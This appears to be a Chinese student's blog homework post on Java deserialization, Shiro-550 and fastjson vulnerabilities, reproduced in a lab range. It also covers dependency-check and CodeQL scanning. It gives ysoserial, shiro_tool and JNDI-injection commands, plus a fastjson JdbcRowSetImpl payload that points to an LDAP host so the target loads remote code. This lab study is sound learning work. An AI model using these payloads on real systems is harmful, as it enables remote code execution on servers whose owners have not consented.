作业7.20

1、复习java反序列化漏洞原理并使用ysoserial工具进行复现

java反序列化漏洞

序列化

把⼀个Java对象变为 byte[] 数组,需要使⽤ ObjectOutputStream 。它负责把⼀个Java对象写⼊⼀个字节流。 ObjectOutputStream 既可以写⼊基本类型,如 int , boolean ,也可以写⼊ String (以UTF-8编码),还可以写⼊实现了 Serializable 接⼝的 Object 。因为写⼊Object 时需要⼤量的类型信息,所以写⼊的内容很⼤。

反序列化

和 ObjectOutputStream 相反, ObjectInputStream 负责从⼀个字节流读取Java对象。除了能读取基本类型和 String 类型外,调⽤ readObject() 可以直接返回⼀个 Object 对象。要把它变成⼀个特定类型,必须强制转型。
readObject() 可能抛出的异常有:
**ClassNotFoundException :没有找到对应的Class **
**InvalidClassException :Class不匹配 **
ClassNotFoundException ,这种情况常⻅于⼀台电脑上的Java程序把⼀个Java对象,例如, Person 对象序列化以后,通过⽹络传给另⼀台电脑上的另⼀个Java程序,但是这台电脑的Java程序并没有定义 Person 类,所以⽆法反序列化。
InvalidClassException ,这种情况常⻅于序列化的 Person 对象定义了⼀个 int 类型的 age 字段,但是反序列化时, Person 类定义的 age 字段被改成了 long 类型,所以导致class不兼容。
个人理解漏洞成因:
前提:在整个项目中有一个类存在危险函数并且实例化对象中的数据类型必须和类相同。
向含义危险方法的类,实例化该类的该方法并传入危险命令,将对象和其他必须的东西反序列化。
当调用处将上述反序列化的文件读出并用readObject()方法转换成该类对象是漏洞命令将会被执行。

ysoserial工具

使用方法:
使用如下命令获取全部的利用链,也很就是标有payload的一列

java -jar ysoserial-all.jar

找到需要使用的payload,输入如下命令格式得到poc或是exp的反序列化文件

//命令格式
java -jar ysoserial-all.jar payload 命令 > 最终生成的文件名
//实例
java -jar ysoserial-all.jar CommonsCollections5 calc > id

当命令中会出现将某一个文件序列化并使用readObject()方法转成对象是,可以将该文件调换为poc。

2、复习shiro-550 漏洞原理并使用shiro_tool工具进行利用

漏洞原理:

因为shiro中存在一个remember me的功能。该功能会将重要信息序列化后进行aes加密、base64编码的操作来生成rememberMe的Cookie信息。当读取rememberMe的Cookie时上述操作会反过来进行一次。
并且最后还有使用readObject()将读出来的内容进行对象的转换。此时就形成了反序列化漏洞。但在这之前需要获取aes加密的密钥,因为aes加密是对称加密的并且该密钥是写死在程序里的,所以只需要获取源码就可以利用了。

shiro_tool工具使用:

命令格式为如下:

//格式
java -jar shiro_tool.jar 域名
//实例
java -jar shiro_tool.jar http://localhost:8080/shirodemo_war

选择利用链后就可以执行命令了

image

3、复习fastjson反序列化漏洞原理并使用jndi注入工具进行利用

漏洞原理:

fastjson 默认使⽤ @type 指定反序列化任意类,攻击者可以通过在 Java 常⻅环境中寻找能够构造恶意类的⽅法,通过反序列化的过程中调⽤的 getter/setter ⽅法,以及⽬标成员变量的注⼊来达到传参的⽬的,最终形成恶意调⽤链。

jndi注入工具利用:

因为使用win10系统所以命令如下:

//格式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C 命令] [-A 地址]
//示例
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar  -C calc

会出现如下利用选择,需要按照jdk版本选择。

image

然后准备如下payload:

//格式
{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":刚选择的payload,
 "autoCommit":true
}
//示例
{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"ldap://10.0.0.13:1389/sdfmnb",
 "autoCommit":true
}

本次使用的是hell-java-sec靶场,利用如下:

image

4、安装并使用dependency-check工具对华夏erp项目进行第三方组件漏洞扫描并分析扫描报告

使用:

下载解压后进⼊bin⽂件夹,在windows系统下执⾏命令:

dependency-check.bat --disableRetireJS --disableNodeJS --project test -s D:\checkjar\-o D:\report\ 

其中:
-project代表⼯程名
–s代表检查的jar包⽂件夹,把需要检查的jar包放到该⽬录下即可
–o代表报表输出的路径
--disableRetireJS不检查js,
--disableNodeJS不检查nodejs

分析扫描报告:

没有扫出来dependency-check的依赖包下的太慢了一个小时才下了8%

5、安装codeql工具,并使用codeql工具对hello-java-sec进行漏洞扫描,使用vscode分析扫描结果

创建hello-java-sec的'数据库'

建议在需要扫描项目的根目录下进行该操作。

codeql database create test-qldb -l java -j 0

"test-qldb"创建数据库的名字
"-l java"指定被扫描代码的编程语言,不指定会自动识别
"-j 0"指定本次扫描使用多线程

执行扫描

codeql database analyze test-qldb java-security-extended.qls --format=sarif-latest --output=results.sarif -j 0 -M 5000

其中-M参数是指定jvm虚拟机的内存,如果不指定大一些可能会崩溃。

分析扫描结果

将大部分漏洞都扫描出来了,但是没有mybatis的sql注入扫出来,可能是因为只有java语言的数据库,没有和pom.xml依赖联系起来。

posted @   0kooo  阅读(3)  评论(0编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示